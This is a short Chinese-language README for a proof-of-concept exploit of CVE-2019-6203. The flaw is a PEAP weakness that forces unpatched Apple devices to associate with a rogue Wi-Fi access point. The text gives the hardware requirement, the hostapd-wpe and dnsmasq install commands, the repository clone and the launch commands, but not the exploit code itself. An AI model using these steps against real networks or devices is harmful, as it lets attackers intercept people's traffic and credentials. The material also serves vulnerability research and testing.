所有 Apple 设备中都存在一个 PEAP 漏洞,攻击者可利用该漏洞强制任意 Apple 设备(iOS、macOS 或 tvOS)关联到恶意接入点。
这是 CVE-2019-6203 的 PoC,适用于 iOS < 12.2、macOS < 10.14.4,已在 Kali Linux 上测试。
你需要一张支持 AP 模式 的 Wi-Fi 网卡来运行此 PoC。你可以通过运行 iw list 来检查,输出类似:
Supported interface modes:
* IBSS
* managed
* AP
* AP/VLAN
* monitor
* mesh point
apt install hostapd-wpe dnsmasq
git clone https://github.com/qingxp9/CVE-2019-6203-PoC
cd CVE-2019-6203-PoC
python CVE-2019-6203-PoC.py -i wlan0
#with Internet
python CVE-2019-6203-PoC.py -i wlan0 -o eth0